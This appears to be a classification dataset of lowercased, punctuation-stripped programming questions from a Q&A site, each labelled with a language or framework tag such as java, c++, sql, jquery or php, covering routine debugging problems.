java find where a class is used in the code - programmatically  i have a list of classes which i can iterate through.  using java is there a way of finding out where these classes are used so that i can write it out to a report     i know that i can find out using  references  in eclipse but there are too many to be able to do this manually.  so i need to be able to do this programmatically.  can anyone give me any pointers please     edit: this is static analysis and part of creating a bigger traceability report for non-technical people.  i have comprehensive javadocs but they are not  friendly  and also work in the opposite direction to how i need the report. javadocs start from package and work downwards  whereas i need to start a variable level and work upwards.  if that makes any sense.,java
how to provide src attribute in html to play audio stored computer   i want to play the audio in browser using html; and how to play the audio/video that is stored in our computer/laptop in html     i have tried below code...   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;body&gt;  &lt;audio controls&gt;   &lt;source src= c:\users\abc\desktop\song.ogg  type= audio/ogg &gt;   &lt;source src= c:\users\abc\desktop\song.mp3  type= audio/mpeg &gt; your browser does not support the audio element. &lt;/audio&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   this is not working...,html
obj-c return to a block from a delegate method   i m writing a mac app that runs its own web server  using the gcdwebserver library (<a href= https://github.com/swisspol/gcdwebserver  rel= nofollow >https://github.com/swisspol/gcdwebserver</a>). my app delegate handles get requests like so:   <pre><code> __weak typeof(self) weakself = self;  [webserver adddefaulthandlerformethod:@ get            requestclass:[gcdwebserverrequest class]           processblock:^gcdwebserverresponse *(gcdwebserverrequest* request) {                return [weakself handlerequest:request];            }]; </code></pre>   and then the handlerequest method returns the response data  something like:   <pre><code>return [gcdwebserverdataresponse responsewithhtml:@ &lt;html&gt;&lt;body&gt;&lt;p&gt;hello world!&lt;/p&gt;&lt;/body&gt;&lt;/html&gt; ]; </code></pre>   so far so good. except now i want the handlerequest method to use nsspeechsynthesizer to create an audio file with some spoken text in it  and then wait for the speechsynthesizer:didfinishspeaking method to be called before returning to the processblock.   <pre><code>// nsspeechsynthesizerdelegate method: - (void)speechsynthesizer:(nsspeechsynthesizer *)sender didfinishspeaking:(bool)success {     nslog(@ did finish speaking  success: %d   success);     // return to processblock... } </code></pre>   problem is  i have no idea how to do this. is there a way to return from the speechsynthesizer:didfinishspeaking method into the processblock defined above,objective-c
nsoperation cancelalloperations takes too long to cancel operations  i have an nsoperationqueue to which i have added my custom class s objects(inherits from nsoperation) i have set the  setmaxconcurrentoperationcount  to be 1. but when i cancel all the operations like this:    [moperationqueue cancelalloperations];    it takes about 10 -15 seconds sometimes to cancel them all.    nsoperationqueue contains about 60-80 tasks(operations).    initially i was canceling the operations in main thread which obviously blocked the main thread but now i have done that in a different thread.but my main issue is that it takes too long. any suggestions,iphone
shadowing a member function with a function argument  take the following class for an example   <pre><code>class a {     int m_c; public:     void b(int c);         void c(); }; </code></pre>   this would give out the following warning if i compiled with the <code>-wshadow</code> argument   <pre><code>memberfuncarg.cpp: in member function ‘void a::b(int)’: memberfuncarg.cpp:12:16: warning: declaration of ‘c’ shadows a member of  this  [-wshadow]  void a::b(int c)                 ^ </code></pre>   what are the consequences of shadowing a member function with an argument to another member function like this,c++
how do i understand the  add  (+) operator when used in a c array expression   i ve been facing difficulties to understand the fourth line of code after the first curly brace    <pre><code>#include&lt;stdio.h&gt;  int main()  {      int arr[] = {10 20 36 72 45 36};      int *j *k;       j = &amp;arr[4];      k = (arr+4);      if(j==k)         printf( the two pointers are pointing at the same location );      else         printf( the two pointers are not pointing at the same location );    } </code></pre>   i just wanted to know what the fourth line of code after the first curly brace i.e. <code>k = (arr+4);</code> does      since <code>k</code> was a pointer it was supposed to point at something that had an  address of operator    i can still understand that if it doesn t have the  address of operator  then whatever does the part of the code <code>k = (arr+4)</code> do,c
jquery sum of newly created input values  im trying to calculate <code>sum</code> of created input value but somehow its not giving right result (for example: if i create 2 input with value 1 it shows 3)    <strong>html:</strong>   <pre><code>&lt;a href= #  class= new &gt;new&lt;/a&gt; &lt;a href= #  class= report &gt;report&lt;/a&gt; &lt;div class= container &gt;&lt;/div&gt; &lt;p&gt;total:&lt;span&gt;&lt;/span&gt;&lt;/p&gt; </code></pre>   <strong>js:</strong>   <pre><code>var total = 0;  $( .new ).click(function(){     $( div ).append( &lt;input type= text  name= amount /&gt; ); });  $( input ).live( keyup   function(){     $( .container input ).each(function(){         total += parseint($(this).val());     });     $( span ).html(total); });  $( .report ).live( click   function(){     $( .container input ).each(function(){         alert( input:  +$(this).val());     }); }); </code></pre>   here is the fiddle: <a href= http://jsfiddle.net/wn2cs/4/  rel= nofollow >http://jsfiddle.net/wn2cs/4/</a>,jquery
leak in copywithzone  the below code leaks.  should i be autoreleasing newcopy before the return    <pre><code>- (id) copywithzone:(nszone *)zone {   group *newcopy;  newcopy = [[[self class] allocwithzone:zone] init];  newcopy.groupname = [[[self groupname] copy] autorelease];   for (int i=0; i &lt; [[self linkarray] count]; i++) {   [[newcopy linkarray] addobject:[[[[self linkarray] objectatindex:i] copy] autorelease]];  }  return newcopy;  } </code></pre>,iphone
insert using stored procedure  i want to insert a record into multiple tables at single time using a stored procedure. but if it already exists  that record could not be inserted. how can it  i need help. i have link between the tables.   <pre><code>create table [dbo].[tblrole]  (       [roleid]   [int] identity(1  1) not null        [rolename] [varchar](50) null         primary key clustered ([roleid] asc) )  </code></pre>,sql
retrieve data from text field  i have a text field in my app. i am trying to store whatever is entered into the text field in an array and display it in my root view controller (which is a table view) on click of a button.    the method for the button is as follows:   <pre><code>-(ibaction)addnewcountry:(id)sender {      [rootviewcontroller.details addobject:namefield.text];     nslog(@ country name is %@   rootviewcontroller.details);     [self.navigationcontroller pushviewcontroller:rootviewcontroller animated:yes];     [rootviewcontroller.tableview reloaddata];     nslog(@ new country added ); } </code></pre>   details is the array declared in rootviewcontroller    however  the text field text is not retrieved. can anybody tell me what am i missing,objective-c
linking source files  i am trying to break up a program i have written into two source files but i am having trouble linking them and the error messages aren t making any sense to me.    i will provide a shortened version of the files with relevant information:   <pre><code>//grandiose.cpp:  #include  thingy.h   int main() {}  //thingy.h: #include&lt;string&gt; int add (int x  int y); char * parse_input_fragment(const string &amp;  const string &amp;   size_t &amp;  size_t &amp;);  //thingy.cpp: #include  thingy.h   int add (int x  int y) {     return x+y; }  char * parse_input_fragment(const string &amp; objective const string &amp; input  size_t &amp; first_finder  size_t &amp; second_finder) {     char * string_to_int_buffer = new char[64];     first_finder = input.find(objective  first_finder);     first_finder = (input.find( =   first_finder))+1;     second_finder = input.find( ;   first_finder);     int y = 0;     for(unsigned int x = first_finder; x &lt; second_finder; x++) {         if (  (input[x] !=    ) &amp;&amp; (input[x] !=  \n ) ) {             string_to_int_buffer[y] = input[x];             y++;         }     }     string_to_int_buffer[y] =  \0 ;     first_finder = second_finder;     return string_to_int_buffer; } </code></pre>   the parse_input_fragment function compiles fine if i put it in grandiose.cpp but i get error messages when i split it up as described. i included the  add  function for testing purposes and that one compiles fine.     the error message i get is for the prototype in thingy.h: error c4430: missing type specifier - int assumed. note: c++ does not support default-int    it s clearly marked as a character pointer return type and works when not split out of grandiose.cpp  so i am quite confused as to the problem here.    <strong>edit:</strong>    ok  after moving the using namespace std; to the appropriate place and included the header guards as recommended those error messages disappeared but i am getting new ones which i am further confused about. i ll include the complete files and the error messages.    error messages: province.obj : error lnk2005:  public: __thiscall province::province(void)  (  0province@@qae@xz) already defined in grandiose.obj    province.obj : error lnk2005:  public: __thiscall province::province(class std::basic_string class std::allocator > int * const)  (  0province@@qae@v $basic_string@du $char_traits@d@std@@v $allocator@d@2@@std@@qah@z) already defined in grandiose.obj   <pre><code>    // grandiose.cpp : defines the entry point for the console application.     //      #include  stdafx.h      #include &lt;vector&gt;     #include &lt;ctime&gt;     #include &lt;iostream&gt;     #include &lt;fstream&gt;     #include &lt;string&gt;     #include  market.h       int _tmain(int argc  _tchar* argv[])     {         market england;         ifstream reader;         reader.open ( provinces.txt   ios::in);         if (reader.is_open()) {  //check if txt file successfully opened             cout &lt;&lt;  \n\nprovinces.txt was successfully opened.\n\n ;         }         else {             cout &lt;&lt;  \n\nfile was not successfully opened.\n\n ;             return (1);         }         string reader_buffer;         while ( reader.good() ) { // while not end of file             getline (reader  reader_buffer   } ); // get one province s worth of data from txt file             if (!reader_buffer.empty()) {                 parse_provinces (reader_buffer); // send data to be parsed             }         }         add(1 2);         return 0;     }       //market.h      #include &lt;iostream&gt;     #include &lt;list&gt;     #include  province.h      using namespace std;      class market     {         public:         list&lt;province&gt; provinces;     };      //province.h      #ifndef province_h     #define province_h     #include &lt;iostream&gt;     #include &lt;string&gt;      using namespace std;      int add (int x  int y);     char * parse_input_fragment(const string &amp;  const string &amp;   size_t &amp;  size_t &amp;);      class province     {     public:         province::province();         province::province(string  int[]);         unsigned int * rural_poor;         unsigned int * urban_poor;         unsigned int * max_mine_jobs;         unsigned int * max_farm_jobs;         unsigned int * employed_mine;         unsigned int * employed_farm;         unsigned int * employed_factory;         string name;     };     province::province () {         rural_poor = new unsigned int(0);         urban_poor = new unsigned int(0);         max_mine_jobs = new unsigned int(0);         max_farm_jobs = new unsigned int(0);         employed_mine = new unsigned int(0);         employed_farm = new unsigned int(0);         employed_factory = new unsigned int(0);         name =   ;     }     province::province (string name  int numbers[]) {         province::name = name;         cout &lt;&lt;  this province is named   &lt;&lt; province::name &lt;&lt; endl;         rural_poor = new unsigned int(numbers[0]);         cout &lt;&lt;  rural poor =   &lt;&lt; *rural_poor &lt;&lt; endl;         urban_poor = new unsigned int(numbers[1]);         cout &lt;&lt;  urban poor =   &lt;&lt; *urban_poor &lt;&lt; endl;         max_mine_jobs = new unsigned int(numbers[2]);         cout &lt;&lt;  max mine jobs =   &lt;&lt; *max_mine_jobs &lt;&lt; endl;         max_farm_jobs = new unsigned int(numbers[3]);         cout &lt;&lt;  max farm jobs =   &lt;&lt; *max_farm_jobs &lt;&lt; endl;     }      province * parse_provinces(string);      #endif      //province.cpp      #include  stdafx.h      #include  province.h       int add (int x  int y)     {         return x+y;     }      char * parse_input_fragment(const string &amp; objective const string &amp; input  size_t &amp; first_finder  size_t &amp; second_finder) {         char * string_to_int_buffer = new char[64];         first_finder = input.find(objective  first_finder);         first_finder = (input.find( =   first_finder))+1;         second_finder = input.find( ;   first_finder);         int y = 0;         for(unsigned int x = first_finder; x &lt; second_finder; x++) {             if (  (input[x] !=    ) &amp;&amp; (input[x] !=  \n ) ) {                 string_to_int_buffer[y] = input[x];                 y++;             }         }         string_to_int_buffer[y] =  \0 ;         first_finder = second_finder;         return string_to_int_buffer;     }      province * parse_provinces(string input) {         size_t first_finder;         size_t second_finder;         char * string_to_int_buffer;         int population_info[4];           // find the name         first_finder = input.find( = );         string name;         for(unsigned int x = 0; x &lt; first_finder; x++) {             if ((input[x] !=    ) &amp;&amp; (input[x] !=  \n )) {                 name.push_back(input[x]);             }         }          // find the rural poor         string_to_int_buffer = parse_input_fragment( rural_poor   input  first_finder  second_finder);         population_info[0] = atoi(string_to_int_buffer);          // find the urban poor         string_to_int_buffer = parse_input_fragment( urban_poor   input  first_finder  second_finder);         population_info[1] = atoi(string_to_int_buffer);          // find max mine jobs         string_to_int_buffer = parse_input_fragment( max_mine_jobs   input  first_finder  second_finder);         population_info[2] = atoi(string_to_int_buffer);          // find max farm jobs         string_to_int_buffer = parse_input_fragment( max_farm_jobs   input  first_finder  second_finder);         population_info[3] = atoi(string_to_int_buffer);          delete[] string_to_int_buffer;         string_to_int_buffer = null;         province * current_province = new province(name  population_info);         return current_province;     } </code></pre>,c++
does angularjs have an init interface for $routeprovider so i can do some same thing for each route  now i start an angularjs(version:1.0.8) app like this:   <pre><code>angular.module( cms   [ angularfileupload   ui.bootstrap ]).   config([ $routeprovider   $httpprovider   function($routeprovider $httpprovider) {     //$httpprovider.defaults.withcredentials = true;      $routeprovider.         when( /foo  {templateurl:  partials/foo/index.html  resolve:{nav:function(){           rendernav();         }}}).         .when( /bar  {templateurl:  partials/bar/index.html  resolve:{nav:function(){           rendernav();         }}})   }]); </code></pre>   and each time i change a route i want to invoke the function rendernav() so how can i do it with $routeprovider,angularjs
sort nsmenuitems alphabetically  and by whether they have submenus or not   it seems like this might be a common thing to do but the docs and google are failing me. i would like all the items in an nsmenu to be sorted alphabetically. i would also like all items that have sub-menus to be sorted first. i m writing custom code using an nscomparator right now  but i figured i d ask and see if this is built-in at all  path finder does it. i think finder might do it  too.,objective-c
select a radiobutton  i m trying to get that when you click on a row in the table then the radio button on the same row will be selected.    have anyone some suggestions for how this can be done    <pre><code>&lt;form name= form1  method= post  action=  &gt; &lt;table id= simplehighlight  class= rew_table  style= width: 350px; margin-left: auto; margin-right: auto;  &gt;     &lt;thead&gt;&lt;/thead&gt;     &lt;tr&gt;&lt;td&gt;&lt;input type= radio  name= radiogroup1  value= radio  id= radiogroup1_0 &gt;&lt;/tr&gt;     &lt;tr&gt;&lt;td&gt;&lt;input type= radio  name= radiogroup1  value= radio  id= radiogroup1_0 &gt;&lt;/tr&gt;     &lt;tr&gt;&lt;td&gt;&lt;input type= radio  name= radiogroup1  value= radio  id= radiogroup1_0 &gt;&lt;/tr&gt;     &lt;tr&gt;&lt;td&gt;&lt;input type= radio  name= radiogroup1  value= radio  id= radiogroup1_0 &gt;&lt;/tr&gt;     &lt;tr&gt;&lt;td&gt;&lt;input type= radio  name= radiogroup1  value= radio  id= radiogroup1_0 &gt;&lt;/tr&gt; &lt;/table&gt; &lt;/form&gt;   </code></pre>   javascript:   <pre><code>$(document).ready(function(){     $( #simplehighlight tr ).hover(function(){         $(this).children().addclass( datahighlight ); // mark lightgray          $(this).click(function(){             $( #simplehighlight tr ).children().removeclass( datahighlight_select ); // remove all old blue mark             $(this).children().addclass( datahighlight_select ); // mark blue         });      } function(){         $(this).children().removeclass( datahighlight ); // remove lightgray     }); }); </code></pre>,jquery
is it bad practice to include a .cpp file when your implementation file is a templated class   i have a template class that i want to separate from my main.cpp file  where i ll be conducting tests  etc. the problem i have is that there s no easy way to separate the template class into .h/.cpp files because the compiler needs to know which type(s) the object may potentially be.       i came across <a href= http://www.codeproject.com/articles/48575/how-to-define-a-template-class-in-a-h-file-and-imp  rel= nofollow >this</a> resource and i m primarily looking at  method 2.  is it bad practice to include a .cpp file in the file that holds main <br> i ve always been told that it was generally unadvised  but what would be the best solution here,c++
sql join for selecting two records with common data  i have database with this type of records:    <pre><code>id     | value  | docid | ------ | ------ | ------| 1      |  10    |  null | 2      | -10    |  1    |  //this is child of record with id = 1 3      |  15    |  null | 4      | -15    |  3    |  //this is child of record with id = 3 5      |  7     |  null | 6      | -7     |  5    |  //this is child of record with id = 5  7      | 16     |  null | </code></pre>   so i want to select the records where <code>id = 1</code> and <code>id = docid</code>  so this should return (because those are the records with <code>id = 1</code> and <code>docid = 1</code>)   <pre><code>id     | value  | docid | ------ | ------ | ------| 1      | 10     |  null | 2      | -10    |  1    | </code></pre>   i know i can use a where clause but i need to do it with join.,sql
hide the html contorl from the server side without using attributes runat= server   i am using html control and want to visible false from the server side with out using attributes runat= server     tell me any solution,asp.net
how can i decode a url with jquery   how can i decode a url using jquery  my url is    <blockquote>    http%3a%2f%2fdtzhqpwfdzscm.cloudfront.net%2f4ca06373624db.jpg  </blockquote>,jquery
subquery with two where clause  i have the table testing(name money) where i have to return a result where all of the money that is positive is total into deposit and the negative amounts will be withdraw. with the query below it says : subquery is only allowed to return a single column.    <pre><code>select name  sum(money) as  deposit  from testing where money &gt; 0 in     (select name  sum(abs(money)) as  withdraw      from testing     where money &lt; 0 ) group by name; </code></pre>   p.s: i tried without the  in  and it s not working too,sql
using fread() hangs until killed  this is the general structure of my code:   <pre><code>if (contentlength &gt; 0) {     // send post data     size_t sizeread = 0;     char buffer[1024];     while ((sizeread &lt; contentlength) &amp;&amp; (!feof(stream)))     {         size_t diff = contentlength - sizeread;         if (diff &gt; 1024)             diff = 1024;          // debuging         fprintf(stderr   sizeread: %zu\n   sizeread);         fprintf(stderr   contentlength: %ul\n   contentlength);         fprintf(stderr   diff: %zu\n   diff);          size_t read = fread(buffer  1  diff  stream);         sizeread += read;          exit(1);          // write to pipe         fwrite(buffer  1  read  cgipipepost);          exit(1);     } } </code></pre>   however  the program hangs when it hits the fread() line. if i add an exit() before that line  the program exists. if i add it after  the program hangs until i send a sigint signal.    any help would be appreciated  i have been stuck on this for quite some time now.    thanks,c
get line number when reading a file  i am reading all lines in a text file using c# 7 as follows:   <pre><code>using (streamreader reader = file.opentext(file)) {       string line;       while ((line = reader.readline()) != null) {    }           }    </code></pre>   for each line i also need to get the line number.     streamreader does not seem to have a method for getting the line number.    what is the best way to do this,c#
what is the difference between propertydescriptor . propertytype and componenttype   what is the difference between propertytype and componenttype on a .net <a href= http://msdn.microsoft.com/en-us/library/vstudio/system.componentmodel.propertydescriptor%28v=vs.100%29.aspx  rel= nofollow >propertydescriptor</a>     the docs didn t really explain   <blockquote>    propertytype    when overridden in a derived class  gets the type of the property.        componenttype when overridden in a derived class  gets the type of the component this property is bound to.  </blockquote>,.net
jquery insert div right inside a form  if i have the code below and i want to insert a div with jquery as the first element inside the form tag what is the best way to do that    <pre><code>&lt;form&gt;     //i want to insert a div here with jquery     &lt;label&gt;...&lt;/label&gt;     &lt;input&gt;...&lt;/input&gt;     &lt;img&gt;...&lt;/img&gt;      &lt;label&gt;...&lt;/label&gt;     &lt;input&gt;...&lt;/input&gt;     &lt;img&gt;...&lt;/img&gt;      &lt;label&gt;...&lt;/label&gt;     &lt;input&gt;...&lt;/input&gt;     &lt;img&gt;...&lt;/img&gt; &lt;/form&gt; </code></pre>,jquery
jquery slideup/slidedown functionality  i have a checkbox  when clicked i want to slide the checkbox up and have its not dispaly. i can get it to slide up but then 1 second later it shows its ugly self again  how can i fix this. thank you very much    <pre><code>&lt;html&gt; &lt;head&gt;    &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js &gt;&lt;/script&gt;    &lt;style type= text/css &gt;     .hiddenpanel     {       clear: both;       display: none;     }     .dataentry     {       background-color: #ffffeb;       height: 300px;       min-width: 300px;       margin: 3px;     }   &lt;/style&gt;    &lt;script type= text/javascript &gt;     $(document).ready(function() {       $( #chktestpay ).click(function showmedpay() {         if ($( #chktestpay ).is( :checked )) {           $( #toggletestpanel ).slideup();           $( #testpanel ).slidedown(1200);           $( #toggletestpanel ).css( display    none );         }         else           $( #testpanel ).slideup(2000);         $( #toggletestpanel ).slidedown(1200);       });     });   &lt;/script&gt;  &lt;/head&gt; &lt;body&gt;   &lt;div class= togglepaneloption  id= toggletestpanel &gt;     &lt;h3&gt;       test        &lt;input type= checkbox  id= chktestpay  /&gt;&lt;/h3&gt;   &lt;/div&gt;   &lt;div id= testpanel  class= hiddenpanel &gt;     &lt;h3&gt;       test 123     &lt;/h3&gt;     &lt;div class= dataentry &gt;       enter info please     &lt;/div&gt;   &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
subquery is not working on mysql (version 5.7.18)  this query is not working on mysql v 5.7.18 .    but this query was working perfectly in the past version of mysql (5.5.46)   <pre><code>select car_id from (                     select car_id                         case  when ( unix_timestamp(str_to_date( car_from   %y-%m-%d %h:%i:%s  ))  &gt; unix_timestamp(str_to_date(  2017-03-15 13:00    %y-%m-%d %h:%i:%s  ))                                   || unix_timestamp(str_to_date(  2017-03-09 17:00    %y-%m-%d %h:%i:%s  )) &gt; unix_timestamp(str_to_date(  car_to    %y-%m-%d %h:%i:%s  ))                                   || unix_timestamp(str_to_date(  2017-03-15 13:00    %y-%m-%d %h:%i:%s  )) &lt; unix_timestamp(str_to_date(  2017-03-09 17:00    %y-%m-%d %h:%i:%s  ))                                   || unix_timestamp(str_to_date(  car_to   %y-%m-%d %h:%i:%s  )) &lt; unix_timestamp(str_to_date(  car_from   %y-%m-%d %h:%i:%s  ))                                 )  then 0                     else 1 end as intersect_time                     from car_booking_master                     where state =  1                      group by car_id                     having intersect_time =  1                     ) as virtual </code></pre>   on the new mysql version i am getting this error    <pre><code>#1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  virtual limit 0  25  at line 15  </code></pre>,mysql
how to use display:flex in css to create a mix of fixed with and dynamic proportional width columns   i m kind of new latecomers about the <code>display:flex</code> thing in css. i want to create a table with 9 column  where i want some column has fixed width  and some column has dynamic proportional width against other dynamic proportional width column. all the content will always one line  and overflow content will be truncated with ellipsis. as for now  i used javascript plugin to do that. but after i accidentally stumbles into this <code>display:flex</code>  i m thinking i m going to change it into this  because using javascript is very heavy if the table is huge.     but i m confused on how to do that. basically i read that you need to have container (<code>&lt;tr&gt;</code> ) with <code>display:flex</code>  where the column (<code>&lt;td&gt;</code> ) is getting order value.    what i need is something like this: col 1: 100px col 2: 100px col 3: 200px col 4: 15% remaining dynamic length col 5: 20% remaining dynamic length col 6: 35% remaining dynamic length col 7: 40% remaining dynamic length col 8: 100px col 9: 250px    and my code is a simple table:   <pre><code>&lt;table style= width:100% &gt;     &lt;tr&gt;         &lt;td&gt;&lt;input type= checkbox  onclick= selectall() &lt;/input&gt;&lt;/td&gt;         &lt;td&gt;no&lt;/td&gt;         &lt;td&gt;id&lt;/td&gt;         &lt;td&gt;name&lt;/td&gt;         &lt;td&gt;address&lt;/td&gt;         &lt;td&gt;description&lt;/td&gt;         &lt;td&gt;notes&lt;/td&gt;         &lt;td&gt;score&lt;/td&gt;         &lt;td&gt;option button&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;input type= checkbox  id= cr-10234 &gt;&lt;/td&gt;         &lt;td&gt;1&lt;/td&gt;         &lt;td&gt;cr-10234&lt;/td&gt;         &lt;td&gt;maxwell  harry&lt;/td&gt;         &lt;td&gt;harrison  ohio&lt;/td&gt;         &lt;td&gt;it engineering with 3 years experience in web programming&lt;/td&gt;         &lt;td&gt;currently stays in san fransisco. need 3 days in advance to book a schedule.&lt;/td&gt;         &lt;td&gt;89&lt;/td&gt;         &lt;td&gt;              &lt;input type= button  onclick= edit( cr-10234 ) &gt;edit&lt;/input&gt;              &lt;input type= button  onclick= delete( cr-10234 ) &gt;delete&lt;/input&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   how can i add the display flex thing  do i need to add style attribute / class attribute to each <code>&lt;td&gt;</code> for each <code>&lt;tr&gt;</code>,css
oracleconnection.close() dont close the connection in my session browser  i make run of test connection  i expect to see clear session browser  but at the end of the program  i see more then 6 sessions in my session browser    this is the code:   <pre><code>private void testconnection()         {            string connectionstring =  data source=(description=(address=(protocol=tcp)(host=1111)(port=1699))(connect_data =(server = dedicated)(service_name = abcd)));min pool size=10; connection lifetime=120; ;          oracleconnection oraconn = new oracleconnection(connectionstring);          try         {             oraconn.open();         }          catch (exception e)         {         }          finally         {             oraconn.dispose();             oraconn.close();         }      } </code></pre>   plz  help me!!,c#
how do you conditionally hide values from your angular template   how do you conditionally hide values from your angular template  i want to keep <code>payment.diff</code> blank instead of showing  € 0.00 .   <pre><code>&lt;tr ng-repeat= payment in payments | filter:search.text | orderby:sort:reverse      ng-hide= (search.minamount != null &amp;&amp; search.minamount &gt; payment.amount) || (search.tenantonly &amp;&amp; !payment.tenant)      ng-class= {danger: payment.diff &gt; 0} &gt;     &lt;td&gt;{{payment.date | date :  dd&amp;nbsp;mmm&amp;nbsp;yyyy }}&lt;/td&gt;     &lt;td ng-attr-title= {{payment.tenant}} &gt;{{payment.name}}&lt;/td&gt;     &lt;td&gt;{{payment.amount | currency:  €&amp;nbsp; }}&lt;/td&gt;     &lt;td&gt;{{payment.rent | currency:  €&amp;nbsp; }}&lt;/td&gt;     &lt;td&gt;{{payment.diff | filter : payment.diff != 0 | currency:  €&amp;nbsp; }}&lt;/td&gt; &lt;!-- how do i hide 0 values  --&gt;     &lt;td&gt;{{payment.desc}}&lt;/td&gt;     &lt;td&gt;{{payment.account}}&lt;/td&gt; &lt;/tr&gt; </code></pre>   <code>filter : payment.diff != 0</code> doesn t work.,angularjs
difficulties with displaying results in list box (c#)  why when i add a number (ranging from 2 to 12) into text box (txtresults)  why does the results not end up getting displayed into my list box (lsttables).     here is the look of my code:    <pre><code>    public partial class form1 : form     {         int table = 0;         int result;          public form1()         {              initializecomponent();         }          private void btnexit_click(object sender  eventargs e)         {             this.close();         }          private void btndisplay_click(object sender  eventargs e)         {             for (int number = 1; number == 12; number++)             { result = number * table;                 lsttables.items.add(result);             }          }          private void lsttables_selectedindexchanged(object sender  eventargs e)         {          }          private void txtresults_textchanged(object sender  eventargs e)         {          }          private void lblresults_click(object sender  eventargs e)         {          }     } } </code></pre>,c#
error/inputmethodmanagerservice(2116): checkcscdefaultime : mcscdefaultimepackagename is wrong  i m developing on android and i got the following error:  error/inputmethodmanagerservice(2116): checkcscdefaultime : mcscdefaultimepackagename is wrong.     it s so strange that there s no any search result for this kind of error in google nor here.     how can i resolve this issue,android
why do i get a clang error in the following code  <pre><code>#include &lt;iostream&gt; #include &lt;map&gt; #include &lt;vector&gt; #include &lt;string&gt; #include &lt;utility&gt; #include &lt;algorithm&gt; #include &lt;stack&gt; #include &lt;queue&gt; #include &lt;climits&gt; #include &lt;set&gt; #include &lt;cstring&gt;  using namespace std; #define ll long long #define pb push_back #define mp make_pair  int main (void) {     int arr[] = {1 2 3 4 5 60 70 8 50 20};     int mseh = 0;     int mssf = 0;     int i = 0;     int e = 10;     while ( i &lt; e )     {         mseh = mseh + arr[i];         if (mseh &lt; 0)             mseh = 0;         if (mssf &lt; mseh)                 mssf = mseh;         i++;     }     cout&lt;&lt;mseh&lt;&lt; \n ;     return 0; } </code></pre>   i have written the above code  that only calculates the maximum non negative sub-array in a given array. when i try to compile the above  i get the following error:    <pre><code>undefined symbols for architecture x86_64:    _main   referenced from:      implicit entry/start for main executable ld: symbol(s) not found for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation) make: *** [1] error 1 </code></pre>   this error is very cryptic and i am unable to figure out where i am going wrong in the code. thanks,c++
find the maximum value of  and  in a set <blockquote>    given a number(x) and threshold value  find the max value that can be achieved by performing <code>binary and</code> on all the numbers till x.the max values should be less than threshold.  </blockquote>   eg: if 2   3 is the input  then   <pre><code>a = 1 ; b = 1 ; a &amp; b = 1 a = 1 ; b = 2 ; a &amp; b = 0 a = 2 ; b = 1 ; a &amp; b = 0 a = 2 ; b = 2 ; a &amp; b = 2 </code></pre>   in this example the maximum value that i got from the <code>and</code> operation is 2 and it is less than the threshold value 3 so 2 is the answer that should be printed.    i have to find the max values from all these possible inputs and then print them. i solved this problem with this code   <pre><code>maxvalue = 0 n k1 = input().strip().split(   ) n k1 = [int(n) int(k1)] for j in range (1 n):     for k in range (j+1 n):         jkvalue = j&amp;k         if jkvalue &gt; maxvalue and jkvalue &lt; k1:             maxvalue = jkvalue print(maxvalue) </code></pre>   from my previous experiences with problems like this i could solve this more efficiently if i use some kind of data structure like <code>list</code> <code>map</code>.     is it possible to solve this problem using data structures or have i achieved the minimum complexity  if it can be made better then how,python
how to add data with date based on condition   following is my php code which return date with amount until the condition is false :    <pre><code>&lt; php $paid = 2000; $monthly = 750; $date_array = array( 2016-07    2016-09 ); $bill_paid_array =  array(750  600);  $x=0; do {      $found = false;     while (!$found) {         $date = date( 2016 . - . 07 . -d );         $time = strtotime($date);         $bill_month = date( y-m   strtotime( ($x++).  month   $time));         $found = !in_array($bill_month $date_array) ;     }      echo date($bill_month. -d ) .  =&gt; $monthly&lt;br/&gt;\n ;      $paid -= $monthly;     if ($paid &lt; $monthly) {         $monthly = $paid;     } } while ($paid &gt; 0); </code></pre>   <strong>return data :</strong>    <pre><code>2016-08-16=&gt; 750 2016-10-16=&gt; 750 2016-11-16=&gt; 500 </code></pre>   <strong>how it s working :</strong>     this code is checking which monthly bill user paid already from starting date. if the month exist then next month is showing until condition is false.     now for : e.g: starting date is : <code>2016-07-01</code> and user already paid <code>2016-07</code> and <code>2016-09</code> month bill (see $date_array)     now user is paying <code>2000</code> and his bill amount is <code>750</code>. so that code is showing following date with amount.     <strong>return data :</strong>    <pre><code>2016-08-16=&gt; 750 2016-10-16=&gt; 750 2016-11-16=&gt; 500 </code></pre>   <strong>what i want now</strong>     now if i paid a new bill <code>750</code>again then according to above code this line : <code>date($bill_month. -d ) .  =&gt; $monthly&lt;br/&gt;\n ;</code> will show me <code>2016-12-16</code> date: but which i don t want. i want to show : <code>2016-11-16</code> with <code>250</code> and <code>2016-12-16</code> with <code>500</code>.     <strong>note : i have $bill_paid_array for each month</strong>     <strong>update :</strong>    <pre><code>$allbillmonth = mysqli_query($conn   select year(bill_month) as bill_year  month(bill_month) as bill_month  pay_amount from clients_pay_bill where client_id =  $client_id  and uid =  $uid   );  $date_array = array(); $pay_amount_array = array();  while( $fetchallbillmonth = mysqli_fetch_array($allbillmonth) ) {     $year = $fetchallbillmonth[ bill_year ];     $month = $fetchallbillmonth[ bill_month ];     $date_array[] =  $year-$month ;     if($monthly_bill != $fetchallbillmonth[ pay_amount ]) {         $flag = 0;     } else {         $flag =1;     }      $db_paid_amount = $fetchallbillmonth[ pay_amount ];     $pay_amount_array[] =  $year-$month =&gt; [$db_paid_amount  $flag] ; } </code></pre>   <strong>output :</strong>    <pre><code>array (     [0] =&gt; 2016-8 =&gt; [750.00  1]     [1] =&gt; 2016-9 =&gt; [750.00  1]     [2] =&gt; 2016-10 =&gt; [700.00  0] ) </code></pre>,php
